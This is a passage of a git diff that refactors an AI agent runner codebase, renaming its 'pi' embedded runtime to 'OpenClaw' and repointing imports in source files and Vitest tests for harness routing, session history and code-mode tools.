long waits, avoid rapid poll loops"); expect(prompt).not.toContain("Larger work: use `sessions_spawn`"); @@ -60,8 +60,8 @@ describe("buildCliAgentSystemPrompt", () => { surfaces: ["cli_backend"], }, { - text: "PI-only command guidance.", - surfaces: ["pi_main"], + text: "OpenClaw-only command guidance.", + surfaces: ["openclaw_main"], }, ], handler: async () => ({ text: "ok" }), @@ -74,6 +74,6 @@ describe("buildCliAgentSystemPrompt", () => { }); expect(prompt).toContain("CLI-only command guidance."); - expect(prompt).not.toContain("PI-only command guidance."); + expect(prompt).not.toContain("OpenClaw-only command guidance."); }); }); diff --git a/src/agents/cli-runner/helpers.ts b/src/agents/cli-runner/helpers.ts index 062646766c5..866187e5a4a 100644 --- a/src/agents/cli-runner/helpers.ts +++ b/src/agents/cli-runner/helpers.ts @@ -2,8 +2,6 @@ import crypto from "node:crypto"; import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import type { AgentTool } from "@earendil-works/pi-agent-core"; -import type { ImageContent } from "@earendil-works/pi-ai"; import { KeyedAsyncQueue } from "openclaw/plugin-sdk/keyed-async-queue"; import { isAcpRuntimeSpawnAvailable } from "../../acp/runtime/availability.js"; import type { SourceReplyDeliveryMode } from "../../auto-reply/get-reply-options.types.js"; @@ -13,6 +11,7 @@ import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { privateFileStore } from "../../infra/private-file-store.js"; import { tempWorkspace } from "../../infra/private-temp-workspace.js"; import { resolvePreferredOpenClawTmpDir } from "../../infra/tmp-openclaw-dir.js"; +import type { ImageContent } from "../../llm/types.js"; import { MAX_IMAGE_BYTES } from "../../media/constants.js"; import { extensionForMime } from "../../media/mime.js"; import { listRegisteredPluginAgentPromptGuidance } from "../../plugins/command-registry-state.js"; @@ -20,9 +19,10 @@ import { normalizeLowercaseStringOrEmpty, normalizeOptionalLowercaseString, } from "../../shared/string-coerce.js"; +import type { EmbeddedContextFile } from "../embedded-agent-helpers.js"; +import { detectImageReferences, loadImageFromRef } from "../embedded-agent-runner/run/images.js"; import { resolveDefaultModelForAgent } from "../model-selection.js"; -import type { EmbeddedContextFile } from "../pi-embedded-helpers.js"; -import { detectImageReferences, loadImageFromRef } from "../pi-embedded-runner/run/images.js"; +import type { AgentTool } from "../runtime/index.js"; import type { SandboxFsBridge } from "../sandbox/fs-bridge.js"; import { detectRuntimeShell } from "../shell-utils.js"; import { stripSystemPromptCacheBoundary } from "../system-prompt-cache-boundary.js"; diff --git a/src/agents/cli-runner/prepare.test.ts b/src/agents/cli-runner/prepare.test.ts index faeed1ed6b8..d964e4bbe19 100644 --- a/src/agents/cli-runner/prepare.test.ts +++ b/src/agents/cli-runner/prepare.test.ts @@ -1,7 +1,7 @@ import fs from "node:fs"; import os from "node:os"; import path from "node:path"; -import { CURRENT_SESSION_VERSION } from "@earendil-works/pi-coding-agent"; +import { CURRENT_SESSION_VERSION } from "openclaw/plugin-sdk/agent-sessions"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { registerLegacyContextEngine } from "../../context-engine/legacy.registration.js"; @@ -717,7 +717,7 @@ describe("shouldSkipLocalCliCredentialEpoch", () => { hostRequirements: { "agent-run": { requiredCapabilities: ["assemble-before-prompt"], - unsupportedMessage: "Use the native Codex or Pi embedded runtime.", + unsupportedMessage: "Use the native Codex or OpenClaw embedded runtime.", }, }, }, diff --git a/src/agents/cli-runner/prepare.ts b/src/agents/cli-runner/prepare.ts index 7b6eecdb980..cbad4341ece 100644 --- a/src/agents/cli-runner/prepare.ts +++ b/src/agents/cli-runner/prepare.ts @@ -42,16 +42,16 @@ import { claudeCliSessionTranscriptHasContent } from "../command/attempt-executi import { resolveContextWindowInfo } from "../context-window-guard.js"; import { resolveContextTokensForModel } from "../context.js"; import { DEFAULT_CONTEXT_TOKENS } from "../defaults.js"; -import { resolveHeartbeatPromptForSystemPrompt } from "../heartbeat-system-prompt.js"; import { resolveBootstrapMaxChars, resolveBootstrapPromptTruncationWarningMode, resolveBootstrapTotalMaxChars, -} from "../pi-embedded-helpers.js"; -import { resolvePromptBuildHookResult } from "../pi-embedded-runner/run/attempt.prompt-helpers.js"; -import { resolveAttemptPrependSystemContext } from "../pi-embedded-runner/run/attempt.prompt-helpers.js"; -import { composeSystemPromptWithHookContext } from "../pi-embedded-runner/run/attempt.thread-helpers.js"; -import { buildCurrentInboundPrompt } from "../pi-embedded-runner/run/runtime-context-prompt.js"; +} from "../embedded-agent-helpers.js"; +import { resolvePromptBuildHookResult } from "../embedded-agent-runner/run/attempt.prompt-helpers.js"; +import { resolveAttemptPrependSystemContext } from "../embedded-agent-runner/run/attempt.prompt-helpers.js"; +import { composeSystemPromptWithHookContext } from "../embedded-agent-runner/run/attempt.thread-helpers.js"; +import { buildCurrentInboundPrompt } from "../embedded-agent-runner/run/runtime-context-prompt.js"; +import { resolveHeartbeatPromptForSystemPrompt } from "../heartbeat-system-prompt.js"; import { applyPluginTextReplacements } from "../plugin-text-transforms.js"; import { resolveSkillsPromptForRun } from "../skills.js"; import { resolveSystemPromptOverride } from "../system-prompt-override.js"; diff --git a/src/agents/cli-runner/reliability.ts b/src/agents/cli-runner/reliability.ts index 8c0b8ce8446..ff9c373f157 100644 --- a/src/agents/cli-runner/reliability.ts +++ b/src/agents/cli-runner/reliability.ts @@ -6,7 +6,7 @@ import { CLI_RESUME_WATCHDOG_DEFAULTS, CLI_WATCHDOG_MIN_TIMEOUT_MS, } from "../cli-watchdog-defaults.js"; -import type { EmbeddedRunTrigger } from "../pi-embedded-runner/run/params.js"; +import type { EmbeddedRunTrigger } from "../embedded-agent-runner/run/params.js"; function pickWatchdogProfile( backend: CliBackendConfig, diff --git a/src/agents/cli-runner/session-history.test.ts b/src/agents/cli-runner/session-history.test.ts index e5321f8df03..7d152c7d558 100644 --- a/src/agents/cli-runner/session-history.test.ts +++ b/src/agents/cli-runner/session-history.test.ts @@ -1,7 +1,7 @@ import fs from "node:fs"; import os from "node:os"; import path from "node:path"; -import { CURRENT_SESSION_VERSION } from "@earendil-works/pi-coding-agent"; +import { CURRENT_SESSION_VERSION } from "openclaw/plugin-sdk/agent-sessions"; import { afterEach, describe, expect, it, vi } from "vitest"; import { buildCliSessionHistoryPrompt, diff --git a/src/agents/cli-runner/session-history.ts b/src/agents/cli-runner/session-history.ts index 3eb700173af..d473ce289c4 100644 --- a/src/agents/cli-runner/session-history.ts +++ b/src/agents/cli-runner/session-history.ts @@ -1,7 +1,5 @@ import fsp from "node:fs/promises"; import path from "node:path"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import { migrateSessionEntries, parseSessionEntries } from "@earendil-works/pi-coding-agent"; import { resolveSessionFilePath, resolveSessionFilePathOptions, @@ -13,6 +11,8 @@ import { limitAgentHookHistoryMessages, MAX_AGENT_HOOK_HISTORY_MESSAGES, } from "../harness/hook-history.js"; +import type { AgentMessage } from "../runtime/index.js"; +import { migrateSessionEntries, parseSessionEntries } from "../sessions/index.js"; export const MAX_CLI_SESSION_HISTORY_FILE_BYTES = 5 * 1024 * 1024; export const MAX_CLI_SESSION_HISTORY_MESSAGES = MAX_AGENT_HOOK_HISTORY_MESSAGES; diff --git a/src/agents/cli-runner/types.ts b/src/agents/cli-runner/types.ts index b54d5f2e586..a529aae6e9b 100644 --- a/src/agents/cli-runner/types.ts +++ b/src/agents/cli-runner/types.ts @@ -1,4 +1,3 @@ -import type { ImageContent } from "@earendil-works/pi-ai"; import type { SourceReplyDeliveryMode } from "../../auto-reply/get-reply-options.types.js"; import type { ReplyOperation } from "../../auto-reply/reply/reply-run-registry.js"; import type { ThinkLevel } from "../../auto-reply/thinking.js"; @@ -8,6 +7,7 @@ import type { SessionSystemPromptReport } from "../../config/sessions/types.js"; import type { CliBackendConfig } from "../../config/types.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import type { ContextEngine } from "../../context-engine/types.js"; +import type { ImageContent } from "../../llm/types.js"; import type { PromptImageOrderEntry } from "../../media/prompt-image-order.js"; import type { InputProvenance } from "../../sessions/input-provenance.js"; import type { @@ -17,11 +17,11 @@ import type { import type { BootstrapContextMode } from "../bootstrap-files.js"; import type { ResolvedCliBackend } from "../cli-backends.js"; import type { ContextWindowInfo } from "../context-window-guard.js"; -import type { EmbeddedAgentExecutionPhase } from "../pi-embedded-runner/execution-phase.js"; +import type { EmbeddedAgentExecutionPhase } from "../embedded-agent-runner/execution-phase.js"; import type { CurrentInboundPromptContext, EmbeddedRunTrigger, -} from "../pi-embedded-runner/run/params.js"; +} from "../embedded-agent-runner/run/params.js"; import type { SkillSnapshot } from "../skills.js"; import type { SilentReplyPromptMode } from "../system-prompt.types.js"; diff --git a/src/agents/code-mode.ts b/src/agents/code-mode.ts index efff921c846..a990c496883 100644 --- a/src/agents/code-mode.ts +++ b/src/agents/code-mode.ts @@ -2,21 +2,21 @@ import { randomUUID } from "node:crypto"; import path from "node:path"; import { fileURLToPath, pathToFileURL } from "node:url"; import { Worker } from "node:worker_threads"; -import type { AgentToolUpdateCallback } from "@earendil-works/pi-agent-core"; -import type { ToolDefinition } from "@earendil-works/pi-coding-agent"; import { Type } from "typebox"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { isRecord } from "../shared/record-coerce.js"; import { uniqueValues } from "../shared/string-normalization.js"; import { resolveAgentConfig } from "./agent-scope-config.js"; +import type { HookContext } from "./agent-tools.before-tool-call.js"; import { CODE_MODE_EXEC_TOOL_NAME, CODE_MODE_WAIT_TOOL_NAME, isCodeModeControlTool, markCodeModeControlTool, } from "./code-mode-control-tools.js"; -import type { HookContext } from "./pi-tools.before-tool-call.js"; +import type { AgentToolUpdateCallback } from "./runtime/index.js"; import { optionalStringEnum } from "./schema/typebox.js"; +import type { ToolDefinition } from "./sessions/index.js"; import { addClientToolsToToolCatalog, applyToolCatalogCompaction, @@ -470,7 +470,7 @@ async function runBridgeRequest(params: { parentToolCallId: string; request: PendingBridgeRequest; signal?: AbortSignal; - onUpdate?: AgentToolUpdateCallback; + onUpdate?: AgentToolUpdateCallback; }): Promise { try { const values = Array.isArray(params.request.args) ? params.request.args : []; @@ -622,7 +622,7 @@ function snapshotState(params: { runtime: ToolSearchRuntime; output: unknown[]; signal?: AbortSignal; - onUpdate?: AgentToolUpdateCallback; + onUpdate?: AgentToolUpdateCallback; }) { enforceActiveRunLimit(); if (params.snapshotBytes.byteLength > params.config.maxSnapshotBytes) { @@ -690,7 +690,7 @@ async function runExec(params: { code: string; language?: CodeModeLanguage; signal?: AbortSignal; - onUpdate?: AgentToolUpdateCallback; + onUpdate?: AgentToolUpdateCallback; }) { removeExpiredRuns(); const config = resolveCodeModeConfig( @@ -781,7 +781,7 @@ async function runWait(params: { ctx: CodeModeToolContext; runId: string; signal?: AbortSignal; - onUpdate?: AgentToolUpdateCallback; + onUpdate?: AgentToolUpdateCallback; }) { removeExpiredRuns(); const state = activeRuns.get(params.runId); @@ -897,7 +897,7 @@ export function createCodeModeTools(ctx: CodeModeToolContext): AnyAgentTool[] { toolCallId: string, args: unknown, signal?: AbortSignal, - onUpdate?: AgentToolUpdateCallback, + onUpdate?: AgentToolUpdateCallback, ) => { const input = readCode(args); return jsonResult( @@ -923,7 +923,7 @@ export function createCodeModeTools(ctx: CodeModeToolContext): AnyAgentTool[] { toolCallId: string, args: unknown, signal?: AbortSignal, - onUpdate?: AgentToolUpdateCallback, + onUpdate?: AgentToolUpdateCallback, ) => jsonResult( await runWait({ diff --git a/src/agents/codex-app-server.extensions.test.ts b/src/agents/codex-app-server.extensions.test.ts index e27c3287297..d3dc2765337 100644 --- a/src/agents/codex-app-server.extensions.test.ts +++ b/src/agents/codex-app-server.extensions.test.ts @@ -85,7 +85,7 @@ describe("agent tool result middleware", () => { loadOpenClawPlugins(options); expect(listAgentToolResultMiddlewares("codex")).toHaveLength(1); - expect(listAgentToolResultMiddlewares("pi")).toHaveLength(0); + expect(listAgentToolResultMiddlewares("openclaw")).toHaveLength(0); resetActivePluginRegistryForTest(); expect(listAgentToolResultMiddlewares("codex")).toHaveLength(0); @@ -114,7 +114,7 @@ describe("agent tool result middleware", () => { filename: "index.mjs", manifest: { contracts: { - agentToolResultMiddleware: ["pi"], + agentToolResultMiddleware: ["openclaw"], }, }, body: `export default { id: "tool-result-middleware", register(api) { @@ -191,12 +191,12 @@ describe("agent tool result middleware", () => { filename: "index.mjs", manifest: { contracts: { - agentToolResultMiddleware: ["pi", "codex"], + agentToolResultMiddleware: ["openclaw", "codex"], }, }, body: `const middleware = () => undefined; export default { id: "tool-result-middleware", register(api) { - api.registerAgentToolResultMiddleware(middleware, { runtimes: ["pi"] }); + api.registerAgentToolResultMiddleware(middleware, { runtimes: ["openclaw"] }); api.registerAgentToolResultMiddleware(middleware, { runtimes: ["codex"] }); } };`, }); @@ -214,7 +214,7 @@ export default { id: "tool-result-middleware", register(api) { }, }); - expect(listAgentToolResultMiddlewares("pi")).toHaveLength(1); + expect(listAgentToolResultMiddlewares("openclaw")).toHaveLength(1); expect(listAgentToolResultMiddlewares("codex")).toHaveLength(1); }); diff --git a/src/agents/codex-mcp-config.test.ts b/src/agents/codex-mcp-config.test.ts index c635bb65e8f..5392ab217d0 100644 --- a/src/agents/codex-mcp-config.test.ts +++ b/src/agents/codex-mcp-config.test.ts @@ -131,7 +131,7 @@ describe("loadCodexBundleMcpThreadConfig", () => { expect(loaded.evaluated).toBe(true); }); - it("returns an evaluated empty MCP config when Pi would not create a bundle MCP runtime", () => { + it("returns an evaluated empty MCP config when no bundle MCP runtime is needed", () => { const cfg = { mcp: { servers: { diff --git a/src/agents/codex-mcp-config.ts b/src/agents/codex-mcp-config.ts index f7db7a0f0ed..5292342b640 100644 --- a/src/agents/codex-mcp-config.ts +++ b/src/agents/codex-mcp-config.ts @@ -16,7 +16,7 @@ import type { CodexMcpServersConfig, LoadCodexBundleMcpThreadConfigParams, } from "./codex-mcp-config.types.js"; -import { shouldCreateBundleMcpRuntimeForAttempt } from "./pi-embedded-runner/run/attempt-tool-construction-plan.js"; +import { shouldCreateBundleMcpRuntimeForAttempt } from "./embedded-agent-runner/run/attempt-tool-construction-plan.js"; export type { CodexBundleMcpThreadConfig, diff --git a/src/agents/command/attempt-callbacks.ts b/src/agents/command/attempt-callbacks.ts index eca7cdbf1de..def48aa6318 100644 --- a/src/agents/command/attempt-callbacks.ts +++ b/src/agents/command/attempt-callbacks.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "../runtime/index.js"; export type AgentAttemptLifecycleState = { currentTurnUserMessagePersisted: boolean; diff --git a/src/agents/command/attempt-execution.cli.test.ts b/src/agents/command/attempt-execution.cli.test.ts index 614a15c179f..a3a52cd99a1 100644 --- a/src/agents/command/attempt-execution.cli.test.ts +++ b/src/agents/command/attempt-execution.cli.test.ts @@ -5,12 +5,12 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import type { SessionEntry } from "../../config/sessions.js"; import { appendSessionTranscriptMessage } from "../../config/sessions/transcript-append.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import { runEmbeddedAgent, type EmbeddedAgentRunResult } from "../embedded-agent.js"; import { FailoverError } from "../failover-error.js"; -import { runEmbeddedPiAgent, type EmbeddedPiRunResult } from "../pi-embedded.js"; import { persistCliTurnTranscript, runAgentAttempt } from "./attempt-execution.js"; const runCliAgentMock = vi.hoisted(() => vi.fn()); -const runEmbeddedPiAgentMock = vi.hoisted(() => vi.fn()); +const runEmbeddedAgentMock = vi.hoisted(() => vi.fn()); const ORIGINAL_HOME = process.env.HOME; vi.mock("../cli-runner.js", () => ({ @@ -29,11 +29,11 @@ vi.mock("../provider-auth-aliases.js", () => ({ provider.trim().toLowerCase() === "codex-cli" ? "openai-codex" : provider.trim().toLowerCase(), })); -vi.mock("../pi-embedded.js", () => ({ - runEmbeddedPiAgent: runEmbeddedPiAgentMock, +vi.mock("../embedded-agent.js", () => ({ + runEmbeddedAgent: runEmbeddedAgentMock, })); -function makeCliResult(text: string): EmbeddedPiRunResult { +function makeCliResult(text: string): EmbeddedAgentRunResult { return { payloads: [{ text }], meta: { @@ -125,8 +125,8 @@ function firstRunCliAgentArg(callIndex = 0) { return requireMockArg(runCliAgentMock, callIndex, "run CLI agent argument"); } -function firstEmbeddedPiAgentArg(callIndex = 0) { - return requireMockArg(runEmbeddedPiAgentMock, callIndex, "embedded PI agent argument"); +function firstEmbeddedAgentArg(callIndex = 0) { + return requireMockArg(runEmbeddedAgentMock, callIndex, "embedded OpenClaw agent argument"); } describe("CLI attempt execution", () => { @@ -137,7 +137,7 @@ describe("CLI attempt execution", () => { tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-cli-attempt-")); storePath = path.join(tmpDir, "sessions.json"); runCliAgentMock.mockReset(); - runEmbeddedPiAgentMock.mockReset(); + runEmbeddedAgentMock.mockReset(); }); afterEach(async () => { @@ -1013,7 +1013,7 @@ describe("CLI attempt execution", () => { sessionHasHistory: false, }); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); expectMockArgFields(runCliAgentMock, { provider: "claude-cli", model: "claude-opus-4-7", @@ -1068,7 +1068,7 @@ describe("CLI attempt execution", () => { sessionHasHistory: false, }); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); expectMockArgFields(runCliAgentMock, { provider: "claude-cli", model: "opus-4.7", @@ -1083,12 +1083,12 @@ describe("CLI attempt execution", () => { }; const sessionStore: Record = { [sessionKey]: sessionEntry }; await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2), "utf-8"); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "canonical codex embedded" }], meta: { durationMs: 5, finalAssistantVisibleText: "canonical codex embedded", - executionTrace: { runner: "pi" }, + executionTrace: { runner: "openclaw" }, }, }); @@ -1131,7 +1131,7 @@ describe("CLI attempt execution", () => { }); expect(runCliAgentMock).not.toHaveBeenCalled(); - expectMockArgFields(runEmbeddedPiAgentMock, { + expectMockArgFields(runEmbeddedAgentMock, { provider: "openai", model: "gpt-5.4", }); @@ -1173,9 +1173,9 @@ describe("CLI attempt execution", () => { supports: () => ({ supported: true, priority: 100 }), runAttempt: vi.fn(), }); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ meta: { durationMs: 1 }, - } satisfies EmbeddedPiRunResult); + } satisfies EmbeddedAgentRunResult); try { await runAgentAttempt({ @@ -1211,7 +1211,7 @@ describe("CLI attempt execution", () => { clearAgentHarnesses(); } - expectMockArgFields(runEmbeddedPiAgentMock, { + expectMockArgFields(runEmbeddedAgentMock, { provider: "openai", model: "gpt-5.4", authProfileId: "openai:backup", @@ -1227,9 +1227,9 @@ describe("CLI attempt execution", () => { }; const sessionStore: Record = { [sessionKey]: sessionEntry }; await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2), "utf-8"); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ meta: { durationMs: 1 }, - } satisfies EmbeddedPiRunResult); + } satisfies EmbeddedAgentRunResult); await runAgentAttempt({ providerOverride: "anthropic", @@ -1277,10 +1277,10 @@ describe("CLI attempt execution", () => { }); expect(runCliAgentMock).not.toHaveBeenCalled(); - expectMockArgFields(runEmbeddedPiAgentMock, { + expectMockArgFields(runEmbeddedAgentMock, { provider: "anthropic", model: "claude-opus-4-7", - agentHarnessId: "pi", + agentHarnessId: "openclaw", prompt: "raw prompt", messageChannel: "discord", messageProvider: "discord-voice", @@ -1288,7 +1288,7 @@ describe("CLI attempt execution", () => { promptMode: "none", disableTools: true, }); - expect(firstEmbeddedPiAgentArg().prompt).not.toContain("[Inter-session message]"); + expect(firstEmbeddedAgentArg().prompt).not.toContain("[Inter-session message]"); }); it("forwards trusted elevated defaults to embedded agent runs", async () => { @@ -1304,9 +1304,9 @@ describe("CLI attempt execution", () => { defaultLevel: "on" as const, }; await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2), "utf-8"); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ meta: { durationMs: 1 }, - } satisfies EmbeddedPiRunResult); + } satisfies EmbeddedAgentRunResult); await runAgentAttempt({ providerOverride: "openai", @@ -1340,7 +1340,7 @@ describe("CLI attempt execution", () => { sessionHasHistory: false, }); - expectMockArgFields(runEmbeddedPiAgentMock, { + expectMockArgFields(runEmbeddedAgentMock, { provider: "openai", model: "gpt-5.4", bashElevated, @@ -1394,7 +1394,7 @@ describe("CLI attempt execution", () => { cleanupBundleMcpOnRunEnd: true, cleanupCliLiveSessionOnRunEnd: true, }); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); }); }); @@ -1404,7 +1404,7 @@ describe("embedded attempt harness pinning", () => { beforeEach(async () => { tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-embedded-attempt-")); runCliAgentMock.mockReset(); - runEmbeddedPiAgentMock.mockReset(); + runEmbeddedAgentMock.mockReset(); }); afterEach(async () => { @@ -1416,9 +1416,9 @@ describe("embedded attempt harness pinning", () => { sessionId: "legacy-session", updatedAt: Date.now(), }; - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ meta: { durationMs: 1 }, - } satisfies EmbeddedPiRunResult); + } satisfies EmbeddedAgentRunResult); await runAgentAttempt({ providerOverride: "openai", @@ -1435,7 +1435,7 @@ describe("embedded attempt harness pinning", () => { isFallbackRetry: false, resolvedThinkLevel: "medium", timeoutMs: 1_000, - runId: "run-legacy-pi-pin", + runId: "run-legacy-runtime-pin", opts: {} as Parameters[0]["opts"], runContext: {} as Parameters[0]["runContext"], spawnedBy: undefined, @@ -1448,7 +1448,7 @@ describe("embedded attempt harness pinning", () => { sessionHasHistory: true, }); - expectMockArgFields(runEmbeddedPiAgentMock, { agentHarnessId: undefined }); + expectMockArgFields(runEmbeddedAgentMock, { agentHarnessId: undefined }); }); it("ignores stale session Codex harness pins on non-OpenAI model switches", async () => { @@ -1457,9 +1457,9 @@ describe("embedded attempt harness pinning", () => { updatedAt: Date.now(), agentHarnessId: "codex", }; - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ meta: { durationMs: 1 }, - } satisfies EmbeddedPiRunResult); + } satisfies EmbeddedAgentRunResult); await runAgentAttempt({ providerOverride: "minimax", @@ -1489,7 +1489,7 @@ describe("embedded attempt harness pinning", () => { sessionHasHistory: true, }); - expectMockArgFields(runEmbeddedPiAgentMock, { agentHarnessId: undefined }); + expectMockArgFields(runEmbeddedAgentMock, { agentHarnessId: undefined }); }); it("forwards runtime toolsAllow into embedded attempts", async () => { @@ -1497,9 +1497,9 @@ describe("embedded attempt harness pinning", () => { sessionId: "tools-allow-session", updatedAt: Date.now(), }; - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ meta: { durationMs: 1 }, - } satisfies EmbeddedPiRunResult); + } satisfies EmbeddedAgentRunResult); await runAgentAttempt({ providerOverride: "openai", @@ -1531,7 +1531,7 @@ describe("embedded attempt harness pinning", () => { sessionHasHistory: false, }); - expectMockArgFields(runEmbeddedPiAgentMock, { toolsAllow: ["read", "web_search"] }); + expectMockArgFields(runEmbeddedAgentMock, { toolsAllow: ["read", "web_search"] }); }); it("lets provider/model runtime policy choose Codex without storing a session harness pin", async () => { @@ -1539,9 +1539,9 @@ describe("embedded attempt harness pinning", () => { sessionId: "codex-history-session", updatedAt: Date.now(), }; - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ meta: { durationMs: 1 }, - } satisfies EmbeddedPiRunResult); + } satisfies EmbeddedAgentRunResult); await runAgentAttempt({ providerOverride: "codex", @@ -1568,7 +1568,7 @@ describe("embedded attempt harness pinning", () => { isFallbackRetry: false, resolvedThinkLevel: "medium", timeoutMs: 1_000, - runId: "run-codex-no-pi-pin", + runId: "run-codex-no-runtime-pin", opts: {} as Parameters[0]["opts"], runContext: {} as Parameters[0]["runContext"], spawnedBy: undefined, @@ -1581,7 +1581,7 @@ describe("embedded attempt harness pinning", () => { sessionHasHistory: true, }); - expectMockArgFields(runEmbeddedPiAgentMock, { agentHarnessId: undefined }); + expectMockArgFields(runEmbeddedAgentMock, { agentHarnessId: undefined }); }); it("auto-forwards OpenAI Codex auth profiles to default Codex harness runs", async () => { @@ -1605,9 +1605,9 @@ describe("embedded attempt harness pinning", () => { }, }), ); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ meta: { durationMs: 1 }, - } satisfies EmbeddedPiRunResult); + } satisfies EmbeddedAgentRunResult); clearAgentHarnesses(); registerAgentHarness({ id: "codex", @@ -1648,7 +1648,7 @@ describe("embedded attempt harness pinning", () => { clearAgentHarnesses(); } - expectMockArgFields(runEmbeddedPiAgentMock, { + expectMockArgFields(runEmbeddedAgentMock, { agentHarnessId: undefined, authProfileId: "openai-codex:work", authProfileIdSource: "auto", @@ -1660,9 +1660,9 @@ describe("embedded attempt harness pinning", () => { sessionId: "fresh-session", updatedAt: Date.now(), }; - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ meta: { durationMs: 1 }, - } satisfies EmbeddedPiRunResult); + } satisfies EmbeddedAgentRunResult); await runAgentAttempt({ providerOverride: "openai", @@ -1692,18 +1692,18 @@ describe("embedded attempt harness pinning", () => { sessionHasHistory: false, }); - expectMockArgFields(runEmbeddedPiAgentMock, { agentHarnessId: undefined }); + expectMockArgFields(runEmbeddedAgentMock, { agentHarnessId: undefined }); }); - it("ignores stale OpenAI sessions pinned to PI and relies on default Codex routing", async () => { + it("ignores stale OpenAI sessions pinned to OpenClaw and relies on default Codex routing", async () => { const sessionEntry: SessionEntry = { - sessionId: "stale-pi-session", + sessionId: "stale-agent-session", updatedAt: Date.now(), - agentHarnessId: "pi", + agentHarnessId: "openclaw", }; - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ meta: { durationMs: 1 }, - } satisfies EmbeddedPiRunResult); + } satisfies EmbeddedAgentRunResult); await runAgentAttempt({ providerOverride: "openai", @@ -1720,7 +1720,7 @@ describe("embedded attempt harness pinning", () => { isFallbackRetry: false, resolvedThinkLevel: "medium", timeoutMs: 1_000, - runId: "run-stale-openai-pi-pin", + runId: "run-stale-openai-runtime-pin", opts: {} as Parameters[0]["opts"], runContext: {} as Parameters[0]["runContext"], spawnedBy: undefined, @@ -1733,22 +1733,22 @@ describe("embedded attempt harness pinning", () => { sessionHasHistory: true, }); - expectMockArgFields(runEmbeddedPiAgentMock, { + expectMockArgFields(runEmbeddedAgentMock, { provider: "openai", agentHarnessId: undefined, }); }); - it("routes explicit OpenAI PI runs with Codex OAuth through PI and the legacy Codex auth transport", async () => { + it("routes explicit OpenAI native runs with Codex OAuth through OpenClaw and the legacy Codex auth transport", async () => { const sessionEntry: SessionEntry = { - sessionId: "explicit-pi-codex-oauth-session", + sessionId: "explicit-agent-codex-oauth-session", updatedAt: Date.now(), authProfileOverride: "openai-codex:work", authProfileOverrideSource: "user", }; - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ meta: { durationMs: 1 }, - } satisfies EmbeddedPiRunResult); + } satisfies EmbeddedAgentRunResult); await runAgentAttempt({ providerOverride: "openai", @@ -1759,7 +1759,7 @@ describe("embedded attempt harness pinning", () => { providers: { openai: { baseUrl: "https://api.openai.com/v1", - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, models: [], }, }, @@ -1775,7 +1775,7 @@ describe("embedded attempt harness pinning", () => { isFallbackRetry: false, resolvedThinkLevel: "medium", timeoutMs: 1_000, - runId: "run-openai-pi-codex-oauth", + runId: "run-openai-agent-codex-oauth", opts: {} as Parameters[0]["opts"], runContext: {} as Parameters[0]["runContext"], spawnedBy: undefined, @@ -1788,11 +1788,11 @@ describe("embedded attempt harness pinning", () => { sessionHasHistory: false, }); - expectMockArgFields(runEmbeddedPiAgentMock, { + expectMockArgFields(runEmbeddedAgentMock, { provider: "openai-codex", model: "gpt-5.4", - agentHarnessId: "pi", - agentHarnessRuntimeOverride: "pi", + agentHarnessId: "openclaw", + agentHarnessRuntimeOverride: "openclaw", authProfileId: "openai-codex:work", authProfileIdSource: "user", }); @@ -1803,9 +1803,9 @@ describe("embedded attempt harness pinning", () => { sessionId: "fallback-session", updatedAt: Date.now(), }; - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ meta: { durationMs: 1 }, - } satisfies EmbeddedPiRunResult); + } satisfies EmbeddedAgentRunResult); await runAgentAttempt({ providerOverride: "openai", @@ -1842,7 +1842,7 @@ describe("embedded attempt harness pinning", () => { }); expect(runCliAgentMock).not.toHaveBeenCalled(); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledOnce(); - expect(firstEmbeddedPiAgentArg()).not.toHaveProperty("agentHarnessId", "claude-cli"); + expect(runEmbeddedAgentMock).toHaveBeenCalledOnce(); + expect(firstEmbeddedAgentArg()).not.toHaveProperty("agentHarnessId", "claude-cli"); }); }); diff --git 